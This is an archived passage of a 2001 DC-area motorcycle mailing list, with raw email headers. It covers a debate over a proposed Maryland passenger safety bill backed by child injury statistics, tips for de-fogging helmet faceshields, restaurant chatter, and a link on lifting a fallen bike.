Injuries age 0 to 13: 9 injuries (no deaths) Automobile injuries age 0 to 13: 21,875 injuries (multiple deaths) 1997 Motorcycle injuries age 0 to 13: 11 injuries (no deaths) Automobile injuries age 0 to 13: 20,719 injuries (multiple deaths) 1998 Motorcycle injuries age 0 to 13: 10 injuries (no deaths) Automobile injuries age 0 to 13: 20,326 injuries (multiple deaths) 1999 Motorcycle injuries age 0 to 13: 5 injuries (no deaths) Automobile injuries age 0 to 13: 20,501 injuries (multiple deaths) 2000 Motorcycle injuries age 0 to 13: 4 injuries (no deaths - as of 28 Nov 00) Automobile injuries age 0 to 13: 11,748 injuries (multiple deaths) SOURCE: Maryland State Highway Administration, Office of Traffic And Safety, Traffic Safety Analysis Division, Page 11, Occupant information (Passengers, not operators) dated 28 November 2000. The real threat is that riders will buy into the fallacy that legislative based parenting is acceptable and tolerate the gradual criminalization of parental discretion. Bill Gawthrop Maryland "I may disagree with what you have to say, but I shall defend, to the death, your right to say it." Voltaire (1694-1778) --part1_ff.1f2fcf5.27b11d59_boundary In a message dated 2/5/01 6:47:28 PM Eastern Standard Time,
perrycoleman@XXXXXX writes:


So, how should "Amputees, dwarfs[sic], birth defect issues" be addressed?
Are these beings at any lesser risk by not being able to reach footpegs?


There is not a problem here that requires a legislative solution.

1996 Motorcycle Injuries age 0 to 13: 9 injuries (no deaths)
Automobile injuries age 0 to 13: 21,875 injuries (multiple deaths)

1997 Motorcycle injuries age 0 to 13: 11 injuries (no deaths)
Automobile injuries age 0 to 13: 20,719 injuries (multiple deaths)

1998 Motorcycle injuries age 0 to 13: 10 injuries (no deaths)
Automobile injuries age 0 to 13: 20,326 injuries (multiple deaths)

1999 Motorcycle injuries age 0 to 13: 5 injuries (no deaths)
Automobile injuries age 0 to 13: 20,501 injuries (multiple deaths)

2000 Motorcycle injuries age 0 to 13: 4 injuries (no deaths - as of 28 Nov 00)
Automobile injuries age 0 to 13: 11,748 injuries (multiple deaths)

SOURCE:  Maryland State Highway Administration, Office of Traffic And Safety,
Traffic Safety Analysis Division, Page 11, Occupant information (Passengers,
not operators) dated 28 November 2000.

The real threat is that riders will buy into the fallacy that legislative
based parenting is acceptable and tolerate the gradual criminalization of
parental discretion.  


Bill Gawthrop
Maryland

"I may disagree with what you have to say, but I shall defend, to the
death, your right to say it."   Voltaire (1694-1778)
--part1_ff.1f2fcf5.27b11d59_boundary-- From dc-cycles-request Tue Feb 6 06:40:52 2001 From: "Myles, Gregory S." To: perrycoleman@XXXXXX Cc: dc-cycles@XXXXXX, "'Gawthrop@XXXXXX'" Subject: RE: Delegate Jean Cryor Legislation Re Motorcycle Safety Date: Tue, 6 Feb 2001 06:39:44 -0500 Perry, there are many who think that passing THIS law, in the absence of a true problem needing addressing, can and will lead to other laws. Imagine the next legislative proposal requiring all MC riders who carry passengers to have a backrest of specific size, width, etc. Not as far-fetched as you might think. The word for today is "incrementalism". -----Original Message----- From: Gawthrop@XXXXXX [mailto:Gawthrop@XXXXXX] Sent: Tuesday, February 06, 2001 4:27 AM To: perrycoleman@XXXXXX; Gawthrop@XXXXXX; dc-cycles@XXXXXX Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety In a message dated 2/5/01 6:47:28 PM Eastern Standard Time, perrycoleman@XXXXXX writes: So, how should "Amputees, dwarfs[sic], birth defect issues" be addressed? Are these beings at any lesser risk by not being able to reach footpegs? There is not a problem here that requires a legislative solution. 1996 Motorcycle Injuries age 0 to 13: 9 injuries (no deaths) Automobile injuries age 0 to 13: 21,875 injuries (multiple deaths) 1997 Motorcycle injuries age 0 to 13: 11 injuries (no deaths) Automobile injuries age 0 to 13: 20,719 injuries (multiple deaths) 1998 Motorcycle injuries age 0 to 13: 10 injuries (no deaths) Automobile injuries age 0 to 13: 20,326 injuries (multiple deaths) 1999 Motorcycle injuries age 0 to 13: 5 injuries (no deaths) Automobile injuries age 0 to 13: 20,501 injuries (multiple deaths) 2000 Motorcycle injuries age 0 to 13: 4 injuries (no deaths - as of 28 Nov 00) Automobile injuries age 0 to 13: 11,748 injuries (multiple deaths) SOURCE: Maryland State Highway Administration, Office of Traffic And Safety, Traffic Safety Analysis Division, Page 11, Occupant information (Passengers, not operators) dated 28 November 2000. The real threat is that riders will buy into the fallacy that legislative based parenting is acceptable and tolerate the gradual criminalization of parental discretion. Bill Gawthrop Maryland "I may disagree with what you have to say, but I shall defend, to the death, your right to say it." Voltaire (1694-1778) From dc-cycles-request Tue Feb 6 07:44:23 2001 Date: Tue, 06 Feb 2001 07:38:39 -0500 From: "William J. Huson" To: Gawthrop@XXXXXX CC: perrycoleman@XXXXXX, dc-cycles@XXXXXX Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety --------------34E9B9E9A73609B9532997BF Good info - and I'd be willing to bet a "complete" review of the accident/injuries would turn up very, very few passenger related injuries caused by passeneger merely falling off the bike. And I do believe that the DOT or some such agency allready has regs RE foot pegs, buddy seats etc etc.... And speaking of discretion, any state/local law enforcement officer can bust a motorcylist/cager for reckless if he/she determines a situation to be dangerous. In the past I've known folks who have been busted for allowing children to ride on the boot of a top down ragtop, reading a magazine or chatting on a cell phone while driving, etc etc... Charge - reckless driving. No need for yet another law. The other Bill Gawthrop@XXXXXX wrote: > In a message dated 2/5/01 6:47:28 PM Eastern Standard Time, > perrycoleman@XXXXXX writes: > > > >> So, how should "Amputees, dwarfs[sic], birth defect issues" be >> addressed? >> Are these beings at any lesser risk by not being able to reach >> footpegs? > > There is not a problem here that requires a legislative solution. > > 1996 Motorcycle Injuries age 0 to 13: 9 injuries (no deaths) > Automobile injuries age 0 to 13: 21,875 injuries (multiple deaths) > > 1997 Motorcycle injuries age 0 to 13: 11 injuries (no deaths) > Automobile injuries age 0 to 13: 20,719 injuries (multiple deaths) > > 1998 Motorcycle injuries age 0 to 13: 10 injuries (no deaths) > Automobile injuries age 0 to 13: 20,326 injuries (multiple deaths) > > 1999 Motorcycle injuries age 0 to 13: 5 injuries (no deaths) > Automobile injuries age 0 to 13: 20,501 injuries (multiple deaths) > > 2000 Motorcycle injuries age 0 to 13: 4 injuries (no deaths - as of 28 > Nov 00) > Automobile injuries age 0 to 13: 11,748 injuries (multiple deaths) > > SOURCE: Maryland State Highway Administration, Office of Traffic And > Safety, > Traffic Safety Analysis Division, Page 11, Occupant information > (Passengers, > not operators) dated 28 November 2000. > > The real threat is that riders will buy into the fallacy that > legislative > based parenting is acceptable and tolerate the gradual criminalization > of > parental discretion. > > > Bill Gawthrop > Maryland > > "I may disagree with what you have to say, but I shall defend, to the > death, your right to say it." Voltaire (1694-1778) --------------34E9B9E9A73609B9532997BF Good info - and I'd be willing to bet a "complete" review of the accident/injuries would turn up very, very few passenger related injuries caused by passeneger merely falling off the bike.

And I do believe that the DOT or some such agency allready has regs RE foot pegs, buddy seats etc etc.... And speaking of discretion, any state/local law enforcement officer can bust a motorcylist/cager for reckless if he/she determines a situation to be dangerous.   In the past I've known folks who have been busted for allowing children to ride on the boot of a top down ragtop, reading a magazine or chatting on a cell phone while driving, etc etc... Charge - reckless driving.  No need for yet another law.

The other Bill
 

Gawthrop@XXXXXX wrote:

In a message dated 2/5/01 6:47:28 PM Eastern Standard Time,
perrycoleman@XXXXXX writes:
 
 
So, how should "Amputees, dwarfs[sic], birth defect issues" be addressed?
Are these beings at any lesser risk by not being able to reach footpegs?

There is not a problem here that requires a legislative solution.

1996 Motorcycle Injuries age 0 to 13: 9 injuries (no deaths)
Automobile injuries age 0 to 13: 21,875 injuries (multiple deaths)

1997 Motorcycle injuries age 0 to 13: 11 injuries (no deaths)
Automobile injuries age 0 to 13: 20,719 injuries (multiple deaths)

1998 Motorcycle injuries age 0 to 13: 10 injuries (no deaths)
Automobile injuries age 0 to 13: 20,326 injuries (multiple deaths)

1999 Motorcycle injuries age 0 to 13: 5 injuries (no deaths)
Automobile injuries age 0 to 13: 20,501 injuries (multiple deaths)

2000 Motorcycle injuries age 0 to 13: 4 injuries (no deaths - as of 28 Nov 00)
Automobile injuries age 0 to 13: 11,748 injuries (multiple deaths)

SOURCE:  Maryland State Highway Administration, Office of Traffic And Safety,
Traffic Safety Analysis Division, Page 11, Occupant information (Passengers,
not operators) dated 28 November 2000.

The real threat is that riders will buy into the fallacy that legislative
based parenting is acceptable and tolerate the gradual criminalization of
parental discretion.
 

Bill Gawthrop
Maryland

"I may disagree with what you have to say, but I shall defend, to the
death, your right to say it."   Voltaire (1694-1778)

--------------34E9B9E9A73609B9532997BF-- From dc-cycles-request Tue Feb 6 08:28:40 2001 Date: Tue, 6 Feb 2001 05:28:36 -0800 (PST) From: Glenn Dysart Subject: Re: DC Ride To: Todd Withrow , Matthew Patton , dc-cycles@XXXXXX Actually Silverado or Sweetwater (same company) have ribs that blow H.I's out of the water. Glenn --- Todd Withrow wrote: > > --- Matthew Patton wrote: > > Or if > > you like fine dining that includes lots of red > meat, > > Ribsters at Backlick and Little River has VERY > FINE > > ribs and steaks - > > > Hhhhmmmmm!!!! Riiibbbss, nothing like charred animal > flesh. H.I. Ribsters has the best ribs around, next > to > mine of course. :) Race ya there! > __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From dc-cycles-request Tue Feb 6 08:53:12 2001 Return-Path: Received: from hotmail.com (f226.law7.hotmail.com [216.33.237.226]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16DrAP21461 for ; Tue, 6 Feb 2001 08:53:10 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 6 Feb 2001 05:53:02 -0800 Received: from 204.71.174.14 by lw7fd.law7.hotmail.msn.com with HTTP; Tue, 06 Feb 2001 13:53:01 GMT X-Originating-IP: [204.71.174.14] From: "Perry Coleman" To: Gawthrop@XXXXXX, dc-cycles@XXXXXX Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety Date: Tue, 06 Feb 2001 08:53:01 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 06 Feb 2001 13:53:02.0039 (UTC) FILETIME=[1F1AA670:01C09044] Bill, So you oppose the law on general principle. The amputee, dwarf, birth defect stuff is just noise that you're throwing in. At least be honest about your opposition to the law. If you see it as unnecessary intrusion into indivdual rights, then fight it on those grounds. If you see it as the first step on the slippery slope of more legislation, then fight it on those grounds. Don't try and fool me with this amputee stuff. Talking about not addressing amputee issues, sounds similar to spurious arguments about how helmets are more dangerous and should not be mandated because people get killed while wearing them. I'm not trying to start a helmet thread, but there do seem to be some really ignorant people opposing motorcycle laws. Either that, or they think that everyone else is stupid... I agree that given the numbers you posted (again) that there really isn't a problem here. So oppose it on those reasons - that would seem like a valid argument. And to the other Bill: Yes, common sense would generally apply. If I was routinely carrying a passenger with a missing limb, etc. I would adapt my bike to fit. Hell - I might even get a sidecar rig. Perry >From: Gawthrop@XXXXXX >To: perrycoleman@XXXXXX, Gawthrop@XXXXXX, dc-cycles@XXXXXX >Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety >Date: Tue, 6 Feb 2001 04:26:49 EST > >In a message dated 2/5/01 6:47:28 PM Eastern Standard Time, >perrycoleman@XXXXXX writes: > > > > So, how should "Amputees, dwarfs[sic], birth defect issues" be >addressed? > > Are these beings at any lesser risk by not being able to reach footpegs? > > > >There is not a problem here that requires a legislative solution. > >1996 Motorcycle Injuries age 0 to 13: 9 injuries (no deaths) >Automobile injuries age 0 to 13: 21,875 injuries (multiple deaths) > >1997 Motorcycle injuries age 0 to 13: 11 injuries (no deaths) >Automobile injuries age 0 to 13: 20,719 injuries (multiple deaths) > >1998 Motorcycle injuries age 0 to 13: 10 injuries (no deaths) >Automobile injuries age 0 to 13: 20,326 injuries (multiple deaths) > >1999 Motorcycle injuries age 0 to 13: 5 injuries (no deaths) >Automobile injuries age 0 to 13: 20,501 injuries (multiple deaths) > >2000 Motorcycle injuries age 0 to 13: 4 injuries (no deaths - as of 28 Nov >00) >Automobile injuries age 0 to 13: 11,748 injuries (multiple deaths) > >SOURCE: Maryland State Highway Administration, Office of Traffic And >Safety, >Traffic Safety Analysis Division, Page 11, Occupant information >(Passengers, >not operators) dated 28 November 2000. > >The real threat is that riders will buy into the fallacy that legislative >based parenting is acceptable and tolerate the gradual criminalization of >parental discretion. > > >Bill Gawthrop >Maryland > >"I may disagree with what you have to say, but I shall defend, to the >death, your right to say it." Voltaire (1694-1778) > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Tue Feb 6 09:27:53 2001 Return-Path: Received: from loki.vitalspring.com (loki.vitalspring.com [66.2.186.213]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16ERpP21950 for ; Tue, 6 Feb 2001 09:27:51 -0500 (EST) Received: from 66-2-186-195.customer.algx.net ([66.2.186.195]) by loki.vitalspring.com (8.9.3/8.9.3) with SMTP id JAA21442 for ; Tue, 6 Feb 2001 09:19:02 -0500 From: "Christopher Weaver" To: Received: from no.name.available by 66-2-186-195.customer.algx.net via smtpd (for www.vitalspring.com [66.2.186.214]) with SMTP; 6 Feb 2001 14:29:53 UT Subject: RE: De-Mist Faceshield??? Date: Tue, 6 Feb 2001 09:28:35 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <01C09011.FB692670.danthompson@libertyhs.com> Importance: Normal Well, I managed the ride home yesterday with no drama. I used some dishwashing soap in a thin film across the inside of the visor. It didn't entirely stop the shield from fogging up, but did a good enough job combined with cracking the visor open a notch. I wouldn't call it a long-term solution though. I used to have a Fog City shield and I must agree that they're the ticket for this problem. I never had any fogging when I had it in. The problem with those is they're tricky to clean in case they get dirty by, say, sneezing on them. They're also a little price for what they are (but maybe not for what they do for you). Thanks for the tips folks. Chris VTR, YSR, dccycles.com yadda yadda yadda -----Original Message----- From: Danny Thompson [mailto:danthompson@XXXXXX] Sent: Tuesday, February 06, 2001 7:54 AM To: 'Christopher Weaver' Subject: RE: De-Mist Faceshield??? Try some hand soap; wipe it on directly from the bar of soap, then rinse off the residue. Spit will help sometimes. If you are going to make this a habit, you probably want to get a Fog City shield, they work great. Of course you can always just leave the shield open a little bit and get the old cold nose. Danny #903 Novice (WERA, CCS) '98 VTR '00 SV (For SALE) www.onewayracing.org From dc-cycles-request Tue Feb 6 09:30:32 2001 Return-Path: Received: from web905.mail.yahoo.com (web905.mail.yahoo.com [128.11.23.80]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f16EUUP22031 for ; Tue, 6 Feb 2001 09:30:30 -0500 (EST) Received: (qmail 18166 invoked by uid 60001); 6 Feb 2001 14:30:27 -0000 Message-ID: <20010206143027.18165.qmail@web905.mail.yahoo.com> Received: from [207.192.134.198] by web905.mail.yahoo.com; Tue, 06 Feb 2001 06:30:27 PST Date: Tue, 6 Feb 2001 06:30:27 -0800 (PST) From: Justin Stefanon Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety To: dc-cycles@XXXXXX In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- Perry Coleman wrote: >... The > amputee, dwarf, birth defect > stuff is just noise that you're throwing in. At > least be honest about your > opposition to the law... > The comment on amputees and so forth is likely just an attempt to illustrate the kind of thoughtlessness that takes over when a pol gets too excited about a piece of legislation. > >...I'm not trying to start a >helmet thread, but there do seem to be some really >ignorant people opposing >motorcycle laws. Either that, or they think that > everyone else is stupid... > Doesn't this portion of your argument contradict itself? Isn't the reason why we have to suffer the consequences of hyper-legislation? That being, legislators believe so many of our peers are stupid, thus feeling the need to legislate all of us. Most of those who oppose these laws believe that people can be left to their own devices, ie: that they are not stupid. I personally think it a waste of time for legislators to attempt to nurse the colossally stupid, as well as for ABATE to exacerbate the problem by agitating the aforementioned legislators. To me, that makes them all ignorant. Dumb motherfuckers will always find a way to do dumb shit. You can't stop idiocy, you can only hope to contain it. __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From dc-cycles-request Tue Feb 6 09:43:42 2001 Return-Path: Received: from wpo.aamc.org (wpo.aamc.org [143.220.4.36]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f16EhfP22157 for ; Tue, 6 Feb 2001 09:43:41 -0500 (EST) Received: from AAMC-Message_Server by wpo.aamc.org with Novell_GroupWise; Tue, 06 Feb 2001 09:39:05 -0500 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.2.1 Date: Tue, 06 Feb 2001 09:38:45 -0500 From: "Onur Topac" To: Subject: RE: De-Mist Faceshield??? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f16EhlP22158 >>I used to have a Fog City shield and I must agree that they're the ticket for this problem. I never had any fogging when I had it in. The problem with those is they're tricky to clean in case they get dirty by, say, sneezing on them. They're also a little price for what they are (but maybe not for what they do for you).>> I use the Scott de-fog stuff and it works really well. Stays clear for a few days worth of rides. Pretty cheap too, ~$4/bottle, I get it @ the Cycle Shop in College Pk, great folks there. Onur Bethesda, MD '84 Magna V30 "Rocky" From dc-cycles-request Tue Feb 6 09:49:23 2001 Return-Path: Received: from web906.mail.yahoo.com (web906.mail.yahoo.com [128.11.23.81]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f16EnLP22245 for ; Tue, 6 Feb 2001 09:49:22 -0500 (EST) Received: (qmail 25099 invoked by uid 60001); 6 Feb 2001 14:49:18 -0000 Message-ID: <20010206144918.25098.qmail@web906.mail.yahoo.com> Received: from [207.192.134.198] by web906.mail.yahoo.com; Tue, 06 Feb 2001 06:49:18 PST Date: Tue, 6 Feb 2001 06:49:18 -0800 (PST) From: Justin Stefanon Subject: Sometimes I like to use complete sentences. To: dc-cycles@XXXXXX In-Reply-To: <20010206143027.18165.qmail@web905.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Five points to whomever figures out what the missing word was in my previous message. Maybe helmets don't work so well after all. Can you have permanent drain bamage and not know it? (this) __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From dc-cycles-request Tue Feb 6 09:50:48 2001 Return-Path: Received: from hotmail.com (f244.law7.hotmail.com [216.33.237.244]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16EokP22313 for ; Tue, 6 Feb 2001 09:50:46 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 6 Feb 2001 06:50:37 -0800 Received: from 204.71.174.14 by lw7fd.law7.hotmail.msn.com with HTTP; Tue, 06 Feb 2001 14:50:37 GMT X-Originating-IP: [204.71.174.14] From: "Perry Coleman" To: dc-cycles@XXXXXX Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety Date: Tue, 06 Feb 2001 09:50:37 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 06 Feb 2001 14:50:37.0573 (UTC) FILETIME=[2AC34B50:01C0904C] Justin, You make an good point vis-a-vis who thinks who is stupid or smart. I think, though, that many of the so-called arguments used to oppose helmet laws MAKE motorcycles look stupid to the legislators, as well as the average, under-informed, non-riding public. And for those people who are smart enough (or care enough) to look past the surface level of stupidity in these arguments, they might realize that they are but a pitiful tactic to distract attention from the real issue. Because the people putting forward these spurious arguments don't have a solid foundation to build on. Bill's tossing out the amputee comment strikes me as being of similar usefulness. Perry p.s. In case it's not clear, I don't particularly support this law, or helmet laws, I just despise bullsh*t arguments and the people that put them forward. >From: Justin Stefanon >To: dc-cycles@XXXXXX >Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety >Date: Tue, 6 Feb 2001 06:30:27 -0800 (PST) > [snip] > >...I'm not trying to start a > >helmet thread, but there do seem to be some really > >ignorant people opposing > >motorcycle laws. Either that, or they think that > > everyone else is stupid... > > >Doesn't this portion of your argument contradict >itself? Isn't the reason why we have to suffer the >consequences of hyper-legislation? That being, >legislators believe so many of our peers are stupid, >thus feeling the need to legislate all of us. Most of >those who oppose these laws believe that people can be >left to their own devices, ie: that they are not >stupid. > >I personally think it a waste of time for legislators >to attempt to nurse the colossally stupid, as well as >for ABATE to exacerbate the problem by agitating the >aforementioned legislators. To me, that makes them >all ignorant. Dumb motherfuckers will always find a >way to do dumb shit. You can't stop idiocy, you can >only hope to contain it. > >__________________________________________________ >Do You Yahoo!? >Yahoo! Auctions - Buy the things you want at great prices. >http://auctions.yahoo.com/ _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Tue Feb 6 10:18:56 2001 Return-Path: Received: from mail.toward.com (piglet.toward.com [204.194.180.31]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16FItP22637 for ; Tue, 6 Feb 2001 10:18:55 -0500 (EST) Date: Tue, 6 Feb 2001 10:18:51 -0500 Message-Id: <200102061018.AA1573278@mail.toward.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: "Chris Norloff" Reply-To: X-Sender: To: , "Christopher Weaver" Subject: Re: De-Mist Faceshield??? X-Mailer: In my 14 years of riding year-round I've tried everything but an electrically-heated faceshield. The best is the Fog City Fog Shield, anything else just doesn't hack it. Chris Norloff ---------- Original Message ---------------------------------- From: "Christopher Weaver" Date: Mon, 5 Feb 2001 14:42:44 -0800 >Hi all. > >I rode in to work today because my car's in the shop. I had to constantly >wipe the inside of my face shield due to misting. Is there any easy trick to >stopping this temporarily? I have de-misting stuff at home, but since I'm at >work they won't do me any good for the ride home. Does spit work or is that >just an old riders' tale? What about dishwashing detergent? > >Chris Weaver >'98 VTR1000F >'89 YSR50 > > From dc-cycles-request Tue Feb 6 10:32:53 2001 Return-Path: Received: from dgesmtp01.wcom.com (dgesmtp01.wcom.com [199.249.16.16]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16FWpP22832 for ; Tue, 6 Feb 2001 10:32:52 -0500 (EST) Received: from dgismtp01.wcomnet.com ([166.38.58.141]) by firewall.mcit.com (PMDF V5.2-33 #42260) with ESMTP id <0G8C003N3DOUVI@XXXXXX> for dc-cycles@XXXXXX; Tue, 6 Feb 2001 15:29:18 +0000 (GMT) Received: from dgismtp01.wcomnet.com by dgismtp01.wcomnet.com (PMDF V5.2-33 #42262) with SMTP id <0G8C00801DOJWY@XXXXXX>; Tue, 06 Feb 2001 15:29:18 +0000 (GMT) Received: from home.com ([166.36.152.226]) by dgismtp01.wcomnet.com (PMDF V5.2-33 #42262) with ESMTP id <0G8C006DSDOED9@XXXXXX>; Tue, 06 Feb 2001 15:29:07 +0000 (GMT) Date: Tue, 06 Feb 2001 10:28:59 -0500 From: Dale Horstman Subject: Re: De-Mist Faceshield??? To: Christopher Weaver Cc: dc-cycles@XXXXXX Message-id: <3A80183B.CD835820@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: Christopher Weaver wrote: > I used to have a Fog City shield and I must agree that they're the ticket > for this problem. Fog City shields work great, the problem is that I *still* can't ride around with the faceshield on my helmet closed the whole way, since now my eyeglasses fog up. :) I just crack a the shield open a bit, and live with the cold air hitting me in the face. Minor annoyance to put up with in order to experience the joys of riding most everyday. :) Horkster -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Tue Feb 6 10:34:39 2001 Return-Path: Received: from hotmail.com (f31.law7.hotmail.com [216.33.237.31]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16FYbP22842 for ; Tue, 6 Feb 2001 10:34:38 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 6 Feb 2001 07:34:29 -0800 Received: from 204.71.174.14 by lw7fd.law7.hotmail.msn.com with HTTP; Tue, 06 Feb 2001 15:34:29 GMT X-Originating-IP: [204.71.174.14] From: "Perry Coleman" To: dc-cycles@XXXXXX Subject: Re: Sometimes I like to use complete sentences. Date: Tue, 06 Feb 2001 10:34:29 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 06 Feb 2001 15:34:29.0143 (UTC) FILETIME=[4B4D0270:01C09052] Justin, Don't feel bad. In my response to you, I used "motorcycles" when I meant "motorcyclists." Perry >From: Justin Stefanon >To: dc-cycles@XXXXXX >Subject: Sometimes I like to use complete sentences. >Date: Tue, 6 Feb 2001 06:49:18 -0800 (PST) > >Five points to whomever figures out what the missing >word was in my previous message. > >Maybe helmets don't work so well after all. Can you >have permanent drain bamage and not know it? > > > > > > > > > > > > > > > > > > > > > > > >(this) > >__________________________________________________ >Do You Yahoo!? >Yahoo! Auctions - Buy the things you want at great prices. >http://auctions.yahoo.com/ _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Tue Feb 6 10:44:53 2001 Return-Path: Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16FipP22968 for ; Tue, 6 Feb 2001 10:44:51 -0500 (EST) Received: from dgismtp01.wcomnet.com ([166.38.58.141]) by firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0G8C00K0IEE1WT@XXXXXX> for dc-cycles@XXXXXX; Tue, 6 Feb 2001 15:44:26 +0000 (GMT) Received: from dgismtp01.wcomnet.com by dgismtp01.wcomnet.com (PMDF V5.2-33 #42262) with SMTP id <0G8C00I01EDPP9@XXXXXX>; Tue, 06 Feb 2001 15:44:25 +0000 (GMT) Received: from home.com ([166.36.152.226]) by dgismtp01.wcomnet.com (PMDF V5.2-33 #42262) with ESMTP id <0G8C00HAMEDHMR@XXXXXX>; Tue, 06 Feb 2001 15:44:06 +0000 (GMT) Date: Tue, 06 Feb 2001 10:44:03 -0500 From: Dale Horstman Subject: How to pick up a fallen bike To: Concours Owners Group , DC Cycles List , GS List , Suzuki-L , KZ LTD List , KZ Mailing List Message-id: <3A801BC3.EFA86B41@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en Folks, Apologies for the cross-posts. Carol Yourski (Skert) is well known over on the LDrider list, she's long been giving demos on how to pick up a fallen motorcycle. I've had the pleasure of meeting her in person, and trust me when I say she is 5'nothing and very petite. It's all in the technique. http://www.ibmwr.org/otech/pickup.html Hope this helps someone. Horkster -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Tue Feb 6 10:50:48 2001 Return-Path: Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16FokP23104 for ; Tue, 6 Feb 2001 10:50:46 -0500 (EST) Received: from ix.netcom.com (vna-va25-36.ix.netcom.com [207.223.162.100]) by blount.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id KAA31910; Tue, 6 Feb 2001 10:50:35 -0500 (EST) Message-ID: <3A801D9B.2FA9EDEB@ix.netcom.com> Date: Tue, 06 Feb 2001 10:51:55 -0500 From: Chuck Pena Reply-To: the_penas@XXXXXX X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: dc-cycles@XXXXXX CC: Dale Horstman , Christopher Weaver Subject: Re: De-Mist Faceshield??? References: <3A80183B.CD835820@home.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I have this "stuff" I bought at the auto show a couple of years ago. It's a hard wax-like stick. I "scribble" it on my faceshield (both inside and out) and then buff/polish it. Seems to do the trick. I re-apply periodically. Don't see why it wouldn't work on eyeglasses. It was demo-ed and sold as a windshield/mirror anti-fog product (part of a whole car cleaning/waxing/polishing ensemble for something like $20). I've been relunctant to try either Rain-X or Fog-X on my faceshield because it's not clear to me whether these products are intended for use on a polycarbonate material. My understanding (and I think the directions say so too) is that they're supposed to be used on glass. Anyone know for sure??? And I agree that a Fog City shield is the dogs bollocks when it comes to keeping the inside of your faceshield completely fog free. The only "problems" are cleaning it (and it will get dirty) and the potential "starburst" effect of oncoming headlights at night. Chuck Dale Horstman wrote: > > Fog City shields work great, the problem is that I *still* can't > ride around with the faceshield on my helmet closed the whole way, > since now my eyeglasses fog up. :) -- "Wherever you go, there you are." -- Buckaroo Banzai visit us at http://www.geocities.com/the_penas From dc-cycles-request Tue Feb 6 11:00:44 2001 Return-Path: Received: from bpexchange.dcscorp.com (bpexchange.dcscorp.com [204.7.239.11]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16G0gP23245 for ; Tue, 6 Feb 2001 11:00:43 -0500 (EST) Received: by bpexchange.dcscorp.com with Internet Mail Service (5.5.2650.21) id ; Tue, 6 Feb 2001 11:00:51 -0500 Message-ID: From: "Smith, Steven" To: "'dc-cycles@XXXXXX'" Subject: Were You In California? Date: Tue, 6 Feb 2001 11:00:48 -0500 MIME-Version: 